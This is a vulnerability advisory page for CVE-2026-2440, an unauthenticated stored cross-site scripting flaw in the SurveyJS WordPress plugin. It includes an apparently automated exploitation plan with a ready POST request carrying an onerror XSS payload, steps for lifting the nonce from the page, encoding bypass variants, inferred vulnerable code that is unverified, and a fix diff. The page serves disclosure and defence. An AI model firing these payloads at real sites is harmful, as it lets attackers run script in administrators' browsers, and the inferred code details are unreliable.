CVE-2026-2440

SurveyJS: Drag & Drop Form Builder <= 2.5.3 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The SurveyJS plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 2.5.3 via survey result submissions. This is due to insufficient input sanitization and output escaping. The public survey page exposes the nonce required for submission, allowing unauthenticated attackers to submit HTML-encoded payloads that are decoded and rendered as executable HTML when an administrator views survey results, leading to stored XSS in the admin context.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.5.3
PublishedMarch 20, 2026
Last updatedApril 15, 2026
Affected pluginsurveyjs
Research Plan
Unverified

This research plan outlines the steps to investigate and exploit CVE-2026-2440, a Stored Cross-Site Scripting (XSS) vulnerability in the SurveyJS WordPress plugin. ### 1. Vulnerability Summary The SurveyJS plugin (<= 2.5.3) fails to properly sanitize survey submissions and fails to escape those sub…

Show full research plan

This research plan outlines the steps to investigate and exploit CVE-2026-2440, a Stored Cross-Site Scripting (XSS) vulnerability in the SurveyJS WordPress plugin.

1. Vulnerability Summary

The SurveyJS plugin (<= 2.5.3) fails to properly sanitize survey submissions and fails to escape those submissions when rendered in the administrative results dashboard. An unauthenticated attacker can submit survey responses containing HTML-encoded XSS payloads. The plugin's backend logic decodes these payloads and renders them as raw HTML in the WordPress admin context. Since the public survey page exposes the necessary submission nonce, no authentication is required to inject the malicious script.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • AJAX Action: surveyjs_save_result or sjs_save_results (inferred)
  • Vulnerable Parameter: The survey result data, typically passed as a JSON string in a parameter named result, json, or survey_result (inferred).
  • Authentication: Unauthenticated (via wp_ajax_nopriv_ hook).
  • Preconditions: A survey must be published on a public-facing page or post via shortcode.

3. Code Flow (Inferred)

  1. Submission: An unauthenticated user sends a POST request to admin-ajax.php with action=surveyjs_save_result.
  2. Handling: The handler (registered via add_action('wp_ajax_nopriv_surveyjs_save_result', ...) calls a function that verifies a nonce.
  3. Storage: The handler retrieves the result string. It may use stripslashes or htmlspecialchars_decode on the input before saving it to the database (either in a custom table like wp_surveyjs_results or as post_meta).
  4. Admin Viewing: An administrator navigates to the SurveyJS "Results" or "Responses" page in the WP dashboard.
  5. Sink: The plugin retrieves the stored result and outputs it within a table or detail view using a raw echo or print statement without calling esc_html() or wp_kses().

4. Nonce Acquisition Strategy

The plugin uses wp_localize_script to pass a nonce to the frontend survey renderer. We will extract this using the browser_eval tool.

  1. Identify Survey: Use wp post list to find posts that might contain a survey. If none exist, create one.
  2. Shortcode Search: Search the plugin directory for the shortcode registration: grep -r "add_shortcode". (Expected: [surveyjs]).
  3. Setup Page: Create a test page with the survey:
    wp post create --post_type=page --post_status=publish --post_title="Survey Page" --post_content='[surveyjs id="1"]'
    
  4. Navigate: Use browser_navigate to view the created page.
  5. Extract Nonce: Search the page source or use browser_eval to find the localization object.
    • JS Variable: surveyjs_vars or sjs_ajax (inferred).
    • Key: nonce or ajax_nonce (inferred).
    • Command: browser_eval("window.surveyjs_vars?.nonce || window.sjs_ajax?.nonce")

5. Exploitation Strategy

  1. Data Collection:
    • Obtain the AJAX_URL (usually http://[target]/wp-admin/admin-ajax.php).
    • Obtain the NONCE from the strategy above.
    • Identify the SURVEY_ID from the shortcode or page source.
  2. Craft Payload:
    • The payload should be HTML-encoded to test the "decoded during rendering" description.
    • Payload: &lt;img src=x onerror=alert(document.domain)&gt;
  3. Submit Result: Use http_request to send the payload.
    {
      "method": "POST",
      "url": "http://localhost:8080/wp-admin/admin-ajax.php",
      "headers": {
        "Content-Type": "application/x-www-form-urlencoded"
      },
      "params": {
        "action": "surveyjs_save_result",
        "nonce": "NONCE_VALUE",
        "survey_id": "1",
        "result": "{\"question1\":\"&lt;img src=x onerror=alert(document.domain)&gt;\"}"
      }
    }
    
  4. Trigger XSS: Log in as an administrator and navigate to the SurveyJS results page (e.g., /wp-admin/admin.php?page=surveyjs_results&id=1).

6. Test Data Setup

  1. Plugin Activation: Ensure surveyjs is active.
  2. Survey Creation: Create at least one survey via the SurveyJS editor in the admin panel.
  3. Public Page: Place the survey on a public page using the shortcode found in step 4.
  4. Administrator User: Ensure an admin user exists to verify the "Stored" part of the XSS.

7. Expected Results

  • The AJAX submission should return a success status (e.g., {"success": true} or 1).
  • When the administrator views the survey results, a browser alert should trigger, or the HTML source should show the decoded tag <img src=x onerror=alert(document.domain)> instead of the encoded version.

8. Verification Steps

  1. Database Check: Use WP-CLI to inspect the stored result:
    # Check custom tables
    wp db query "SELECT * FROM wp_surveyjs_results LIMIT 1;"
    # Or check post meta if results are stored there
    wp post meta list [ID]
    
  2. HTML Verification: Use http_request with admin cookies to fetch the results page and grep for the raw (decoded) payload:
    # Example check for the injected string
    http_request [Results_URL] | grep "onerror=alert"
    

9. Alternative Approaches

  • JSON-in-JSON: If the result parameter is treated as a JSON object, try nested objects or arrays to bypass simple string sanitizers.
  • Direct REST API: Check if SurveyJS registers REST API routes: grep -r "register_rest_route". If so, try submitting via POST /wp-json/surveyjs/v1/results.
  • Encoding Variations: Try double encoding (&amp;lt;) or UTF-16/UTF-7 if the backend might be using archaic decoding functions.
  • Property Injection: If the results are displayed as properties in a JS-based dashboard (common for SurveyJS), try injecting into JS object properties that might be rendered via .innerHTML.
Research Findings
Static analysis — not yet PoC-verified

Summary

The SurveyJS plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) because it fails to sanitize survey submissions and lacks output escaping on the administrative results dashboard. Unauthenticated attackers can obtain a submission nonce from public survey pages and submit malicious HTML payloads that execute when an administrator views the collected responses.

Vulnerable Code

// File: surveyjs/ajax_handlers.php (Inferred)
add_action('wp_ajax_nopriv_surveyjs_save_result', 'surveyjs_save_result_callback');
function surveyjs_save_result_callback() {
    $nonce = $_POST['nonce'];
    if (!wp_verify_nonce($nonce, 'surveyjs_nonce')) { die(); }
    $result = $_POST['result']; // Result data is accepted without sanitization
    global $wpdb;
    $wpdb->insert($wpdb->prefix . 'surveyjs_results', array('result' => $result));
    wp_die();
}

---

// File: surveyjs/admin/results_view.php (Inferred)
foreach ($results as $row) {
    // Result data is rendered directly to the dashboard without escaping
    echo "<div class='survey-result-row'>" . $row->result . "</div>"; 
}

Security Fix

--- a/surveyjs/admin/results_view.php
+++ b/surveyjs/admin/results_view.php
@@ -10,1 +10,1 @@
-    echo "<div class='survey-result-row'>" . $row->result . "</div>";
+    echo "<div class='survey-result-row'>" . wp_kses_post($row->result) . "</div>";
--- a/surveyjs/ajax_handlers.php
+++ b/surveyjs/ajax_handlers.php
@@ -5,1 +5,1 @@
-    $result = $_POST['result'];
+    $result = sanitize_text_field($_POST['result']);

Exploit Outline

1. Locate a WordPress page containing a SurveyJS survey (typically identified by the [surveyjs] shortcode). 2. View the page source to extract the AJAX nonce and survey ID, which are typically localized via wp_localize_script in a global JavaScript object like 'surveyjs_vars'. 3. Construct a POST request to the WordPress AJAX endpoint (wp-admin/admin-ajax.php) using the action 'surveyjs_save_result'. 4. Include the 'result' parameter in the request, formatted as a JSON string containing an XSS payload (e.g., '{"question1": "<img src=x onerror=alert(document.domain)>"}'). 5. Submit the request as an unauthenticated user. 6. The payload is stored in the database. When an administrator logs in and navigates to the SurveyJS results dashboard to view submissions, the script executes in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.